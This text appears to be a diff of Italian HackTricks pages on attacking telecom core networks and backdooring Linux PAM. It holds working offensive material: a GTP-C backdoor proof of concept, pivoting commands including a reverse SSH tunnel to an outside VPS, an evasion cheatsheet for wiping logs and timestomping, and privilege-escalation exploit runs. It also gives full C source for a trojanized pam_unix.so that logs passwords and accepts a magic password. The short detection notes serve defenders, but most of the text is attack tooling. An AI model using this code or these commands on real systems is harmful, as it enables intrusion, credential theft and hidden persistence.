Il seguente strumento Go crea pacchetti di **Richiesta di Creazione PDP Context GTP-C** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Flag principali:
- `--imsi` IMSI dell'abbonato target
- `--oper` Home / HNI (MCC+MNC)
- `-w` Scrivi pacchetti grezzi in pcap
Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Esecuzione di Codice su GTP `GTPDoor`
`GTPDoor` è un piccolo servizio ELF che **lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. L'output stdout/stderr viene esfiltrato all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
Pacchetto PoC minimo (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Rilevamento:
* qualsiasi host che invia **Richieste Echo sbilanciate** agli IP SGSN
* flag di versione GTP impostato su 1 mentre il tipo di messaggio = 1 (Echo) deviazione dalle specifiche
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un contesto PDP verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer in roaming.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Con un corretto hair-pinning del firewall, questo tunnel bypassa i VLAN solo per il segnale e ti porta direttamente nel **data plane**.
### 4.2 Tunnel SSH Reverse sulla Porta 53
Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno al tuo VPS in ascolto su :53 e tornare più tardi da casa:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Controlla che `GatewayPorts yes` sia abilitato sul VPS.
## 5. Canali Clandestini
| Canale | Trasporto | Decodifica | Note |
|--------|-----------|------------|------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | chiave di 4 byte + chunk di 14 byte (XOR) | ascoltatore puramente passivo, nessun traffico in uscita |
| DNS `NoDepDNS` | UDP 53 | XOR (chiave = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE privato | si mescola con il legittimo chiacchiericcio GTP-C |
Tutti gli impianti implementano watchdog che **timestomp** i loro binari e si riavviano se si bloccano.
## 6. Cheatsheet per l'Evasione della Difesa
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Escalation dei privilegi su NE legacy
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Suggerimento per la pulizia:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Strumenti
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` strumenti personalizzati descritti nelle sezioni precedenti.
* `FScan` : scansioni TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS WPAD malevolo
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leggero
* `FRP` (≥0.37) : attraversamento NAT / bridging delle risorse
---
## Idee di Rilevamento
1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP**.
2. **Porte non standard (53, 80, 443) che ricevono handshake SSH** da IP interni.
3. **Richieste Echo frequenti senza corrispondenti Risposte Echo** potrebbero indicare beacon di GTPDoor.
4. **Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli**.
## Riferimenti
- [Palo Alto Unit42 Infiltrazione delle reti telecom globali](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protocollo di tunneling GPRS (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@
#### File di Configurazione
- I **sistemi Solaris e UNIX-based** tipicamente utilizzano un file di configurazione centrale situato in `/etc/pam.conf`.
- I **sistemi Solaris e UNIX-based** utilizzano tipicamente un file di configurazione centrale situato in `/etc/pam.conf`.
- I **sistemi Linux** preferiscono un approccio basato su directory, memorizzando configurazioni specifiche per i servizi all'interno di `/etc/pam.d`. Ad esempio, il file di configurazione per il servizio di login si trova in `/etc/pam.d/login`.
Un esempio di configurazione PAM per il servizio di login potrebbe apparire così:
@ -31,7 +31,7 @@ Questi reami, o gruppi di gestione, includono **auth**, **account**, **password*
- **Auth**: Valida l'identità dell'utente, spesso richiedendo una password.
- **Account**: Gestisce la verifica dell'account, controllando condizioni come l'appartenenza a gruppi o restrizioni di orario.
- **Password**: Gestisce gli aggiornamenti delle password, inclusi controlli di complessità o prevenzione di attacchi a dizionario.
- **Session**: Gestisce le azioni durante l'inizio o la fine di una sessione di servizio, come il montaggio di directory o l'impostazione dei limiti delle risorse.
- **Session**: Gestisce le azioni durante l'inizio o la fine di una sessione di servizio, come il montaggio di directory o l'impostazione di limiti di risorse.
#### **Controlli del Modulo PAM**
@ -39,15 +39,71 @@ I controlli determinano la risposta del modulo al successo o al fallimento, infl
- **Required**: Il fallimento di un modulo richiesto porta a un eventuale fallimento, ma solo dopo che tutti i moduli successivi sono stati controllati.
- **Requisite**: Terminazione immediata del processo in caso di fallimento.
- **Sufficient**: Il successo bypassa il resto dei controlli dello stesso reame a meno che un modulo successivo non fallisca.
- **Sufficient**: Il successo bypassa i controlli degli altri moduli dello stesso reame a meno che un modulo successivo non fallisca.
- **Optional**: Causa fallimento solo se è l'unico modulo nello stack.
#### Scenario Esemplare
In una configurazione con più moduli auth, il processo segue un ordine rigoroso. Se il modulo `pam_securetty` trova il terminale di accesso non autorizzato, i login come root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il `pam_env` imposta le variabili di ambiente, potenzialmente aiutando nell'esperienza utente. I moduli `pam_ldap` e `pam_unix` lavorano insieme per autenticare l'utente, con `pam_unix` che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.
In una configurazione con più moduli di autenticazione, il processo segue un ordine rigoroso. Se il modulo `pam_securetty` trova il terminale di accesso non autorizzato, i login come root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il `pam_env` imposta le variabili di ambiente, potenzialmente migliorando l'esperienza dell'utente. I moduli `pam_ldap` e `pam_unix` lavorano insieme per autenticare l'utente, con `pam_unix` che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.
### Riferimenti
## Backdooring PAM Hooking `pam_unix.so`
Un trucco classico di persistenza in ambienti Linux di alto valore è **scambiare la libreria PAM legittima con un drop-in trojanizzato**. Poiché ogni login SSH / console finisce per chiamare `pam_unix.so:pam_sm_authenticate()`, alcune righe di C sono sufficienti per catturare le credenziali o implementare un bypass della password *magico*.
### Compilazione Cheatsheet
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
Compila e sostituisci in modo furtivo:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tips
1. **Atomic overwrite** scrivi in un file temporaneo e `mv` nel posto giusto per evitare librerie scritte a metà che bloccherebbero SSH.
2. Il posizionamento dei file di log come `/usr/bin/.dbus.log` si fonde con artefatti desktop legittimi.
3. Mantieni le esportazioni dei simboli identiche (`pam_sm_setcred`, ecc.) per evitare comportamenti anomali di PAM.
### Detection
* Confronta MD5/SHA256 di `pam_unix.so` con il pacchetto della distribuzione.
* Controlla la scrittura mondiale o la proprietà insolita sotto `/lib/security/`.
* Regola `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### References
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}